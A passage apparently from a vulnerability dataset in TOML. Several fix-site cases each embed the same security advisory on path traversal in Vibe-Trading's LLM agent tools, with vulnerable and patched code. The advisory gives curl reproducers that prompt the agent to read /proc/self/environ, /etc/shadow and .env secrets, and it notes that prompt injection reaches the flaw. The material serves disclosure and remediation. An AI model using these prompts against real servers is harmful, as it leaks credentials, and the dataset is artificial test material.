`file_path=\"/etc/shadow\"` to confirm shadow password file access.\n\n**Impact**: \nAn unauthenticated caller can retrieve any file the server process can read. Running as root, that includes `/etc/shadow`, `/etc/passwd`, `/proc/self/environ` (full plaintext API keys), `/root/.ssh/id_rsa`, and any secret files mounted into the container. This is the broadest file-read primitive in the codebase and provides a credential-extraction path that does **not** require shell execution — endpoint monitoring tuned to BashTool / shell signatures will miss it entirely.\n\n---\n\n### Why F9 and F10 are listed separately\n\nA maintainer might be tempted to fix only one, on the theory that F10 dominates F9. Two reasons to fix both:\n\n1. **Different fix scope** — F10's fix is a single missing call (`safe_path(file_path)` in `read_document` before line 270). F9's fix is in `safe_user_path()` itself: the envelope must be replaced with a strict allowlist of operator-configured directories, *not* `Path.home() ∪ Path.cwd()`. A fix that adds the missing `safe_user_path` call to `read_document` is **insufficient** because `safe_user_path` itself accepts `/root` and `/app/agent/.env`. Both surfaces need work.\n\n2. **Different reachability classes** — F9 is reachable through tools that already gate on `safe_user_path` (`ExtractShadowStrategyTool` and several journal tools), so even a hypothetical F10 fix that switched `read_document` to use `safe_user_path` would still leak `/root/*` because the envelope is broken. F9 is the structural defect; F10 is the missed call.\n\n---\n\n### Suggested remediation\n\n11. **F9** — In `safe_user_path()` at `path_utils.py:52-77`, replace the `Path.home() ∪ Path.cwd()` envelope with a strict allowlist of operator-configured directories (e.g. an explicit `BROKER_EXPORTS_DIR` env var defaulting to `/app/data/broker_exports/`). Reject `/root`, `/app/agent/.env`, and `/app/agent/uploads/` (the latter to prevent F3-uploaded files from being subsequently parsed as a credential-leak vector via the parse-error channel).'\n\n12. **F10** — Add a `safe_path()` (or `safe_user_path()`) call at `doc_reader_tool.py:270` before the existing `path.exists()` / `path.is_file()` checks. Once F9 is patched, the same allowlist will apply uniformly to both `read_document` and the `safe_user_path`-gated tools.\n\n13. **Defense-in-depth** — Drop the FastAPI process to a non-root user. Add a `RUN useradd -m vibe && chown -R vibe /app` step to the Dockerfile and `USER vibe` before `CMD`. This does not fix the Path Traversal but materially reduces the credential-extraction blast radius of any successful exploit (and benefits every other finding in GHSA-1 and GHSA-2). See GHSA-1 / shared baseline for the matching `USER` recommendation.\n\n---"
+commit = "9454d4a27a763b80e1d6eb5763b86c88e9e4e714"
+cwe = "CWE-22"
+family = "path"
+function = "require_local_or_auth"
+function_lines = [[320, 322]]
+id = "hkuds-vibe-trading-840eb07dfbe96e75"
+language = "python"
+method = "fix_site"
+parent = "fd767f5c29c72cffe8e3f89c7ff006cb3041397f"
+path = "agent/api_server.py"
+post_fix = "async def require_local_or_auth(\n request: Request,\n cred: Optional[HTTPAuthorizationCredentials] = Security(_security),"
+pre_fix = "async def require_local_or_auth(\n request: Request,\n cred: HTTPAuthorizationCredentials = Security(_security),"
+repo = "hkuds/vibe-trading"
+url = "https://github.com/HKUDS/Vibe-Trading.git"
+
+[[case]]
+advisory = "GHSA-5rmq-chc7-m22f"
+advisory_text = "Vibe-Trading file-read tools expose arbitrary server-readable files\n\n### Summary: \n2 findings — `safe_user_path()` accepts any path under `Path.home()` or `Path.cwd()`, which inside the shipped root container resolves to `/root` and `/app` (so all of root's home, including `/root/.ssh/id_rsa`, `/root/.aws/credentials`, `/root/.kube/config`, and `/app/agent/.env`, passes the check) (F9). `read_document()` has no sandbox call at all and returns the full content of any path the FastAPI process can read, including `/etc/shadow`, `/etc/passwd`, `/proc/self/environ`, and any secret file mounted into the container (F10). F10 is strictly broader than F9 but they have different fix scopes (F10 = a missing `safe_path()` call in one function; F9 = the envelope definition in `path_utils.py`), so both must be patched.\n\n---\n\n### Shared baseline (applies to both findings)\n\nThe container has no `USER` directive (Dockerfile:15 — `FROM python:3.11-slim AS runtime`, no subsequent `USER`), so the FastAPI process runs as `uid=0(root)`. \n\nThe two file-read tools described here are members of the auto-discovered LLM tool registry. \nCombined with GHSA-1 / F1, they are reachable from any anonymous TCP client to port 8899, but the same defects also apply to authenticated sessions and to prompt-injection in any document the agent processes. \nSee GHSA-1's shared reproducer block for the install steps; the same `docker compose up -d` setup applies here.\n\n> **Note on the `HOST` placeholder used throughout the per-finding \"Steps to observe\" blocks below**: replace `HOST` with the address you reach the docker host on — typically `localhost` (or `127.0.0.1`) if you are running the reproducer on the same machine as the container. All `curl` commands below assume this substitution.\n\n---\n\n### Finding 9 — High: safe_user_path() accepts the entire user home directory and process CWD, allowing LLM tool calls to read /root credentials\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties)\n\n**Affected file**: `agent/src/tools/path_utils.py`\n- line 52 — `def safe_user_path(p: str) -> Path:`\n- line 73-77 — `if resolved.is_relative_to(home) or resolved.is_relative_to(cwd): return resolved` — `home = Path.home()`, `cwd = Path.cwd()`\n\n**Intent vs actual**: \n`safe_user_path()` is intended to permit journal and shadow-account tools to open broker export files the operator may have placed anywhere under their home directory or the project folder. The intended invariant is that only user-owned broker data files are accessible — not system credential files or SSH keys. The actual envelope check accepts any path whose resolved form is inside `Path.home()` or `Path.cwd()`. Inside the shipped Docker container, `Path.home()` resolves to `/root` and `Path.cwd()` resolves to `/app`. Every file under either subtree passes the check, including:\n\n- `/root/.ssh/id_rsa` and any other SSH key files\n- `/root/.aws/credentials`, `/root/.kube/config`, `/root/.docker/config.json`\n- `/app/agent/.env` (the file containing the operator's real `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other secrets)\n\nA runtime probe inside the container confirmed that `safe_user_path('/root/.aws/credentials')` returned the path without raising `ValueError`. `ExtractShadowStrategyTool` was then invoked against `/root/secrets/aws.csv` (a planted credential file) and returned an error message containing the first line of the file via the parse-error channel.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. (Setup for safe demo: inside the container, `docker exec` a planted file: `docker exec sh -c 'mkdir -p /root/secrets && printf \"broker_id,api_key,api_secret\\nDEMO,FAKE_KEY,FAKE_SECRET\\n\" > /root/secrets/aws.csv'`.)\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Analyze the trade journal at the path /root/secrets/aws.csv and tell me what you find.\"}'`\n4. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `ExtractShadowStrategyTool` with `journal_path=\"/root/secrets/aws.csv\"`, which passes `safe_user_path()` and attempts to parse the file as a trade journal CSV.\n5. Observe the error response — when the file's structure does not match the expected journal schema, the parse error often includes the first line (column names) verbatim, leaking the file's first line.\n6. Repeat with `journal_path=\"/app/agent/.env\"` to confirm the `.env` file is within the accepted envelope.\n\n**Impact**: \nAny unauthenticated caller can instruct the LLM to attempt to parse any file under `/root` or `/app` as a trade journal, extracting the file's first line via the parse-error message channel. Files with valid CSV-like first lines may leak multiple bytes. In the shipped root container, `/root` encompasses all credentials a careless operator may have mounted into the home directory; `/app` includes the agent's own secrets and any operator-staged data files.\n\n---\n\n### Finding 10 — High: read_document() opens any server-readable file with no sandbox enforcement, returning full content of /etc/shadow and /proc/self/environ\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties); CWE-200 (Information Exposure)\n\n**Affected file**: `agent/src/tools/doc_reader_tool.py`\n- line 259 — `def read_document(file_path: str, pages: str = \"\") -> str:`\n- line 270 — `path = Path(file_path)` — followed only by `path.exists()` and `path.is_file()` checks before dispatching to format-specific readers\n- No call to `safe_path`, `safe_user_path`, or any other sandbox enforcement appears anywhere in the function\n\n**Intent vs actual**: `DocReaderTool` is intended to allow the LLM agent to read documents and data files provided for analysis. Like other file-reading tools in the project, it should apply a sandbox check before opening the file. The actual implementation takes the LLM-emitted `file_path` string, runs only `path.exists()` and `path.is_file()`, and dispatches to the appropriate reader. No call to `safe_path` or `safe_user_path` exists in the function. A runtime probe confirmed:\n\n- `read_document('/etc/passwd')` returned HTTP 200 with 839 characters of content\n- `read_document('/etc/shadow')` returned the full shadow password file\n- `read_document('/proc/self/environ')` returned the full process environment, including `OPENROUTER_API_KEY` and `TUSHARE_TOKEN` in plaintext\n\nThis is strictly **wider** than F9: F9 is bounded to `/root` + `/app` via the (overly-broad) envelope; F10 has no envelope at all and reaches `/etc`, `/proc`, `/var`, and any other path the FastAPI process can read.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Please read and summarize the document at /proc/self/environ\"}'`\n3. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `read_document` with `file_path=\"/proc/self/environ\"` and return the full process environment in the message stream.\n4. Observe `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other variables in `agent/.env` appearing in plaintext.\n5. Repeat with `file_path=\"/etc/shadow\"` to confirm shadow password file access.\n\n**Impact**: \nAn unauthenticated caller can retrieve any file the server process can read. Running as root, that includes `/etc/shadow`, `/etc/passwd`, `/proc/self/environ` (full plaintext API keys), `/root/.ssh/id_rsa`, and any secret files mounted into the container. This is the broadest file-read primitive in the codebase and provides a credential-extraction path that does **not** require shell execution — endpoint monitoring tuned to BashTool / shell signatures will miss it entirely.\n\n---\n\n### Why F9 and F10 are listed separately\n\nA maintainer might be tempted to fix only one, on the theory that F10 dominates F9. Two reasons to fix both:\n\n1. **Different fix scope** — F10's fix is a single missing call (`safe_path(file_path)` in `read_document` before line 270). F9's fix is in `safe_user_path()` itself: the envelope must be replaced with a strict allowlist of operator-configured directories, *not* `Path.home() ∪ Path.cwd()`. A fix that adds the missing `safe_user_path` call to `read_document` is **insufficient** because `safe_user_path` itself accepts `/root` and `/app/agent/.env`. Both surfaces need work.\n\n2. **Different reachability classes** — F9 is reachable through tools that already gate on `safe_user_path` (`ExtractShadowStrategyTool` and several journal tools), so even a hypothetical F10 fix that switched `read_document` to use `safe_user_path` would still leak `/root/*` because the envelope is broken. F9 is the structural defect; F10 is the missed call.\n\n---\n\n### Suggested remediation\n\n11. **F9** — In `safe_user_path()` at `path_utils.py:52-77`, replace the `Path.home() ∪ Path.cwd()` envelope with a strict allowlist of operator-configured directories (e.g. an explicit `BROKER_EXPORTS_DIR` env var defaulting to `/app/data/broker_exports/`). Reject `/root`, `/app/agent/.env`, and `/app/agent/uploads/` (the latter to prevent F3-uploaded files from being subsequently parsed as a credential-leak vector via the parse-error channel).'\n\n12. **F10** — Add a `safe_path()` (or `safe_user_path()`) call at `doc_reader_tool.py:270` before the existing `path.exists()` / `path.is_file()` checks. Once F9 is patched, the same allowlist will apply uniformly to both `read_document` and the `safe_user_path`-gated tools.\n\n13. **Defense-in-depth** — Drop the FastAPI process to a non-root user. Add a `RUN useradd -m vibe && chown -R vibe /app` step to the Dockerfile and `USER vibe` before `CMD`. This does not fix the Path Traversal but materially reduces the credential-extraction blast radius of any successful exploit (and benefits every other finding in GHSA-1 and GHSA-2). See GHSA-1 / shared baseline for the matching `USER` recommendation.\n\n---"
+commit = "9454d4a27a763b80e1d6eb5763b86c88e9e4e714"
+cwe = "CWE-22"
+family = "path"
+function = "read_document"
+function_lines = [[259, 291]]
+id = "hkuds-vibe-trading-866d7a8070276364"
+language = "python"
+method = "fix_site"
+parent = "fd767f5c29c72cffe8e3f89c7ff006cb3041397f"
+path = "agent/src/tools/doc_reader_tool.py"
+post_fix = "def read_document(file_path: str, pages: str = \"\") -> str:\n \"\"\"Read any supported document; dispatch by extension.\n\n Args:\n file_path: Absolute path to the file.\n pages: Only used for PDF — e.g. \"1-10\", \"5\", \"1,3,5-8\"; empty = all.\n\n Returns:\n JSON envelope: status, file, format, char_count, truncated, text,\n plus format-specific metadata (total_pages, sheets, etc.).\n \"\"\"\n try:\n path = safe_document_path(file_path)\n except ValueError as exc:\n return _err(str(exc))\n if not path.exists():\n return _err(f\"File not found: {file_path}\")\n if not path.is_file():\n return _err(f\"Not a file: {file_path}\")\n\n ext = path.suffix.lower()\n try:\n if ext == \".pdf\":\n return _read_pdf(path, pages)\n if ext in _HANDLERS:\n return _HANDLERS[ext](path)\n if ext in _IMAGE_EXTS:\n return _read_image(path)\n if ext in _TEXT_EXTS or ext == \"\":\n return _read_text(path)\n # Unknown extension: best-effort text read\n return _read_text(path)\n except Exception as exc:\n return _err(f\"{type(exc).__name__}: {exc}\")\n\n"
+pre_fix = "def read_document(file_path: str, pages: str = \"\") -> str:\n \"\"\"Read any supported document; dispatch by extension.\n\n Args:\n file_path: Absolute path to the file.\n pages: Only used for PDF — e.g. \"1-10\", \"5\", \"1,3,5-8\"; empty = all.\n\n Returns:\n JSON envelope: status, file, format, char_count, truncated, text,\n plus format-specific metadata (total_pages, sheets, etc.).\n \"\"\"\n path = Path(file_path)\n if not path.exists():\n return _err(f\"File not found: {file_path}\")\n if not path.is_file():\n return _err(f\"Not a file: {file_path}\")\n\n ext = path.suffix.lower()\n try:\n if ext == \".pdf\":\n return _read_pdf(path, pages)\n if ext in _HANDLERS:\n return _HANDLERS[ext](path)\n if ext in _IMAGE_EXTS:\n return _read_image(path)\n if ext in _TEXT_EXTS or ext == \"\":\n return _read_text(path)\n # Unknown extension: best-effort text read\n return _read_text(path)\n except Exception as exc:\n return _err(f\"{type(exc).__name__}: {exc}\")\n\n"
+repo = "hkuds/vibe-trading"
+url = "https://github.com/HKUDS/Vibe-Trading.git"
+
+[[case]]
+advisory = "GHSA-5rmq-chc7-m22f"
+advisory_text = "Vibe-Trading file-read tools expose arbitrary server-readable files\n\n### Summary: \n2 findings — `safe_user_path()` accepts any path under `Path.home()` or `Path.cwd()`, which inside the shipped root container resolves to `/root` and `/app` (so all of root's home, including `/root/.ssh/id_rsa`, `/root/.aws/credentials`, `/root/.kube/config`, and `/app/agent/.env`, passes the check) (F9). `read_document()` has no sandbox call at all and returns the full content of any path the FastAPI process can read, including `/etc/shadow`, `/etc/passwd`, `/proc/self/environ`, and any secret file mounted into the container (F10). F10 is strictly broader than F9 but they have different fix scopes (F10 = a missing `safe_path()` call in one function; F9 = the envelope definition in `path_utils.py`), so both must be patched.\n\n---\n\n### Shared baseline (applies to both findings)\n\nThe container has no `USER` directive (Dockerfile:15 — `FROM python:3.11-slim AS runtime`, no subsequent `USER`), so the FastAPI process runs as `uid=0(root)`. \n\nThe two file-read tools described here are members of the auto-discovered LLM tool registry. \nCombined with GHSA-1 / F1, they are reachable from any anonymous TCP client to port 8899, but the same defects also apply to authenticated sessions and to prompt-injection in any document the agent processes. \nSee GHSA-1's shared reproducer block for the install steps; the same `docker compose up -d` setup applies here.\n\n> **Note on the `HOST` placeholder used throughout the per-finding \"Steps to observe\" blocks below**: replace `HOST` with the address you reach the docker host on — typically `localhost` (or `127.0.0.1`) if you are running the reproducer on the same machine as the container. All `curl` commands below assume this substitution.\n\n---\n\n### Finding 9 — High: safe_user_path() accepts the entire user home directory and process CWD, allowing LLM tool calls to read /root credentials\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties)\n\n**Affected file**: `agent/src/tools/path_utils.py`\n- line 52 — `def safe_user_path(p: str) -> Path:`\n- line 73-77 — `if resolved.is_relative_to(home) or resolved.is_relative_to(cwd): return resolved` — `home = Path.home()`, `cwd = Path.cwd()`\n\n**Intent vs actual**: \n`safe_user_path()` is intended to permit journal and shadow-account tools to open broker export files the operator may have placed anywhere under their home directory or the project folder. The intended invariant is that only user-owned broker data files are accessible — not system credential files or SSH keys. The actual envelope check accepts any path whose resolved form is inside `Path.home()` or `Path.cwd()`. Inside the shipped Docker container, `Path.home()` resolves to `/root` and `Path.cwd()` resolves to `/app`. Every file under either subtree passes the check, including:\n\n- `/root/.ssh/id_rsa` and any other SSH key files\n- `/root/.aws/credentials`, `/root/.kube/config`, `/root/.docker/config.json`\n- `/app/agent/.env` (the file containing the operator's real `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other secrets)\n\nA runtime probe inside the container confirmed that `safe_user_path('/root/.aws/credentials')` returned the path without raising `ValueError`. `ExtractShadowStrategyTool` was then invoked against `/root/secrets/aws.csv` (a planted credential file) and returned an error message containing the first line of the file via the parse-error channel.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. (Setup for safe demo: inside the container, `docker exec` a planted file: `docker exec sh -c 'mkdir -p /root/secrets && printf \"broker_id,api_key,api_secret\\nDEMO,FAKE_KEY,FAKE_SECRET\\n\" > /root/secrets/aws.csv'`.)\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Analyze the trade journal at the path /root/secrets/aws.csv and tell me what you find.\"}'`\n4. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `ExtractShadowStrategyTool` with `journal_path=\"/root/secrets/aws.csv\"`, which passes `safe_user_path()` and attempts to parse the file as a trade journal CSV.\n5. Observe the error response — when the file's structure does not match the expected journal schema, the parse error often includes the first line (column names) verbatim, leaking the file's first line.\n6. Repeat with `journal_path=\"/app/agent/.env\"` to confirm the `.env` file is within the accepted envelope.\n\n**Impact**: \nAny unauthenticated caller can instruct the LLM to attempt to parse any file under `/root` or `/app` as a trade journal, extracting the file's first line via the parse-error message channel. Files with valid CSV-like first lines may leak multiple bytes. In the shipped root container, `/root` encompasses all credentials a careless operator may have mounted into the home directory; `/app` includes the agent's own secrets and any operator-staged data files.\n\n---\n\n### Finding 10 — High: read_document() opens any server-readable file with no sandbox enforcement, returning full content of /etc/shadow and /proc/self/environ\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties); CWE-200 (Information Exposure)\n\n**Affected file**: `agent/src/tools/doc_reader_tool.py`\n- line 259 — `def read_document(file_path: str, pages: str = \"\") -> str:`\n- line 270 — `path = Path(file_path)` — followed only by `path.exists()` and `path.is_file()` checks before dispatching to format-specific readers\n- No call to `safe_path`, `safe_user_path`, or any other sandbox enforcement appears anywhere in the function\n\n**Intent vs actual**: `DocReaderTool` is intended to allow the LLM agent to read documents and data files provided for analysis. Like other file-reading tools in the project, it should apply a sandbox check before opening the file. The actual implementation takes the LLM-emitted `file_path` string, runs only `path.exists()` and `path.is_file()`, and dispatches to the appropriate reader. No call to `safe_path` or `safe_user_path` exists in the function. A runtime probe confirmed:\n\n- `read_document('/etc/passwd')` returned HTTP 200 with 839 characters of content\n- `read_document('/etc/shadow')` returned the full shadow password file\n- `read_document('/proc/self/environ')` returned the full process environment, including `OPENROUTER_API_KEY` and `TUSHARE_TOKEN` in plaintext\n\nThis is strictly **wider** than F9: F9 is bounded to `/root` + `/app` via the (overly-broad) envelope; F10 has no envelope at all and reaches `/etc`, `/proc`, `/var`, and any other path the FastAPI process can read.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Please read and summarize the document at /proc/self/environ\"}'`\n3. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `read_document` with `file_path=\"/proc/self/environ\"` and return the full process environment in the message stream.\n4. Observe `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other variables in `agent/.env` appearing in plaintext.\n5. Repeat with `file_path=\"/etc/shadow\"` to confirm shadow password file access.\n\n**Impact**: \nAn unauthenticated caller can retrieve any file the server process can read. Running as root, that includes `/etc/shadow`, `/etc/passwd`, `/proc/self/environ` (full plaintext API keys), `/root/.ssh/id_rsa`, and any secret files mounted into the container. This is the broadest file-read primitive in the codebase and provides a credential-extraction path that does **not** require shell execution — endpoint monitoring tuned to BashTool / shell signatures will miss it entirely.\n\n---\n\n### Why F9 and F10 are listed separately\n\nA maintainer might be tempted to fix only one, on the theory that F10 dominates F9. Two reasons to fix both:\n\n1. **Different fix scope** — F10's fix is a single missing call (`safe_path(file_path)` in `read_document` before line 270). F9's fix is in `safe_user_path()` itself: the envelope must be replaced with a strict allowlist of operator-configured directories, *not* `Path.home() ∪ Path.cwd()`. A fix that adds the missing `safe_user_path` call to `read_document` is **insufficient** because `safe_user_path` itself accepts `/root` and `/app/agent/.env`. Both surfaces need work.\n\n2. **Different reachability classes** — F9 is reachable through tools that already gate on `safe_user_path` (`ExtractShadowStrategyTool` and several journal tools), so even a hypothetical F10 fix that switched `read_document` to use `safe_user_path` would still leak `/root/*` because the envelope is broken. F9 is the structural defect; F10 is the missed call.\n\n---\n\n### Suggested remediation\n\n11. **F9** — In `safe_user_path()` at `path_utils.py:52-77`, replace the `Path.home() ∪ Path.cwd()` envelope with a strict allowlist of operator-configured directories (e.g. an explicit `BROKER_EXPORTS_DIR` env var defaulting to `/app/data/broker_exports/`). Reject `/root`, `/app/agent/.env`, and `/app/agent/uploads/` (the latter to prevent F3-uploaded files from being subsequently parsed as a credential-leak vector via the parse-error channel).'\n\n12. **F10** — Add a `safe_path()` (or `safe_user_path()`) call at `doc_reader_tool.py:270` before the existing `path.exists()` / `path.is_file()` checks. Once F9 is patched, the same allowlist will apply uniformly to both `read_document` and the `safe_user_path`-gated tools.\n\n13. **Defense-in-depth** — Drop the FastAPI process to a non-root user. Add a `RUN useradd -m vibe && chown -R vibe /app` step to the Dockerfile and `USER vibe` before `CMD`. This does not fix the Path Traversal but materially reduces the credential-extraction blast radius of any successful exploit (and benefits every other finding in GHSA-1 and GHSA-2). See GHSA-1 / shared baseline for the matching `USER` recommendation.\n\n---"
+commit = "9454d4a27a763b80e1d6eb5763b86c88e9e4e714"
+cwe = "CWE-22"
+family = "path"
+function = "_execute_layer"
+function_lines = [[314, 322]]
+id = "hkuds-vibe-trading-925032218d1d77e4"
+language = "python"
+method = "fix_site"
+parent = "fd767f5c29c72cffe8e3f89c7ff006cb3041397f"
+path = "agent/src/swarm/runtime.py"
+post_fix = " def _execute_layer(\n self,\n run: SwarmRun,\n task_store: TaskStore,\n agent_map: dict[str, SwarmAgentSpec],\n layer_task_ids: list[str],\n task_summaries: dict[str, str],\n run_dir: Path,\n cancel_event: threading.Event,\n include_shell_tools: bool = False,"
+pre_fix = " def _execute_layer(\n self,\n run: SwarmRun,\n task_store: TaskStore,\n agent_map: dict[str, SwarmAgentSpec],\n layer_task_ids: list[str],\n task_summaries: dict[str, str],\n run_dir: Path,\n cancel_event: threading.Event,"
+repo = "hkuds/vibe-trading"
+url = "https://github.com/HKUDS/Vibe-Trading.git"
+
+[[case]]
+advisory = "GHSA-5rmq-chc7-m22f"
+advisory_text = "Vibe-Trading file-read tools expose arbitrary server-readable files\n\n### Summary: \n2 findings — `safe_user_path()` accepts any path under `Path.home()` or `Path.cwd()`, which inside the shipped root container resolves to `/root` and `/app` (so all of root's home, including `/root/.ssh/id_rsa`, `/root/.aws/credentials`, `/root/.kube/config`, and `/app/agent/.env`, passes the check) (F9). `read_document()` has no sandbox call at all and returns the full content of any path the FastAPI process can read, including `/etc/shadow`, `/etc/passwd`, `/proc/self/environ`, and any secret file mounted into the container (F10). F10 is strictly broader than F9 but they have different fix scopes (F10 = a missing `safe_path()` call in one function; F9 = the envelope definition in `path_utils.py`), so both must be patched.\n\n---\n\n### Shared baseline (applies to both findings)\n\nThe container has no `USER` directive (Dockerfile:15 — `FROM python:3.11-slim AS runtime`, no subsequent `USER`), so the FastAPI process runs as `uid=0(root)`. \n\nThe two file-read tools described here are members of the auto-discovered LLM tool registry. \nCombined with GHSA-1 / F1, they are reachable from any anonymous TCP client to port 8899, but the same defects also apply to authenticated sessions and to prompt-injection in any document the agent processes. \nSee GHSA-1's shared reproducer block for the install steps; the same `docker compose up -d` setup applies here.\n\n> **Note on the `HOST` placeholder used throughout the per-finding \"Steps to observe\" blocks below**: replace `HOST` with the address you reach the docker host on — typically `localhost` (or `127.0.0.1`) if you are running the reproducer on the same machine as the container. All `curl` commands below assume this substitution.\n\n---\n\n### Finding 9 — High: safe_user_path() accepts the entire user home directory and process CWD, allowing LLM tool calls to read /root credentials\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties)\n\n**Affected file**: `agent/src/tools/path_utils.py`\n- line 52 — `def safe_user_path(p: str) -> Path:`\n- line 73-77 — `if resolved.is_relative_to(home) or resolved.is_relative_to(cwd): return resolved` — `home = Path.home()`, `cwd = Path.cwd()`\n\n**Intent vs actual**: \n`safe_user_path()` is intended to permit journal and shadow-account tools to open broker export files the operator may have placed anywhere under their home directory or the project folder. The intended invariant is that only user-owned broker data files are accessible — not system credential files or SSH keys. The actual envelope check accepts any path whose resolved form is inside `Path.home()` or `Path.cwd()`. Inside the shipped Docker container, `Path.home()` resolves to `/root` and `Path.cwd()` resolves to `/app`. Every file under either subtree passes the check, including:\n\n- `/root/.ssh/id_rsa` and any other SSH key files\n- `/root/.aws/credentials`, `/root/.kube/config`, `/root/.docker/config.json`\n- `/app/agent/.env` (the file containing the operator's real `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other secrets)\n\nA runtime probe inside the container confirmed that `safe_user_path('/root/.aws/credentials')` returned the path without raising `ValueError`. `ExtractShadowStrategyTool` was then invoked against `/root/secrets/aws.csv` (a planted credential file) and returned an error message containing the first line of the file via the parse-error channel.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. (Setup for safe demo: inside the container, `docker exec` a planted file: `docker exec sh -c 'mkdir -p /root/secrets && printf \"broker_id,api_key,api_secret\\nDEMO,FAKE_KEY,FAKE_SECRET\\n\" > /root/secrets/aws.csv'`.)\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Analyze the trade journal at the path /root/secrets/aws.csv and tell me what you find.\"}'`\n4. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `ExtractShadowStrategyTool` with `journal_path=\"/root/secrets/aws.csv\"`, which passes `safe_user_path()` and attempts to parse the file as a trade journal CSV.\n5. Observe the error response — when the file's structure does not match the expected journal schema, the parse error often includes the first line (column names) verbatim, leaking the file's first line.\n6. Repeat with `journal_path=\"/app/agent/.env\"` to confirm the `.env` file is within the accepted envelope.\n\n**Impact**: \nAny unauthenticated caller can instruct the LLM to attempt to parse any file under `/root` or `/app` as a trade journal, extracting the file's first line via the parse-error message channel. Files with valid CSV-like first lines may leak multiple bytes. In the shipped root container, `/root` encompasses all credentials a careless operator may have mounted into the home directory; `/app` includes the agent's own secrets and any operator-staged data files.\n\n---\n\n### Finding 10 — High: read_document() opens any server-readable file with no sandbox enforcement, returning full content of /etc/shadow and /proc/self/environ\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties); CWE-200 (Information Exposure)\n\n**Affected file**: `agent/src/tools/doc_reader_tool.py`\n- line 259 — `def read_document(file_path: str, pages: str = \"\") -> str:`\n- line 270 — `path = Path(file_path)` — followed only by `path.exists()` and `path.is_file()` checks before dispatching to format-specific readers\n- No call to `safe_path`, `safe_user_path`, or any other sandbox enforcement appears anywhere in the function\n\n**Intent vs actual**: `DocReaderTool` is intended to allow the LLM agent to read documents and data files provided for analysis. Like other file-reading tools in the project, it should apply a sandbox check before opening the file. The actual implementation takes the LLM-emitted `file_path` string, runs only `path.exists()` and `path.is_file()`, and dispatches to the appropriate reader. No call to `safe_path` or `safe_user_path` exists in the function. A runtime probe confirmed:\n\n- `read_document('/etc/passwd')` returned HTTP 200 with 839 characters of content\n- `read_document('/etc/shadow')` returned the full shadow password file\n- `read_document('/proc/self/environ')` returned the full process environment, including `OPENROUTER_API_KEY` and `TUSHARE_TOKEN` in plaintext\n\nThis is strictly **wider** than F9: F9 is bounded to `/root` + `/app` via the (overly-broad) envelope; F10 has no envelope at all and reaches `/etc`, `/proc`, `/var`, and any other path the FastAPI process can read.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. `curl -s -X POST 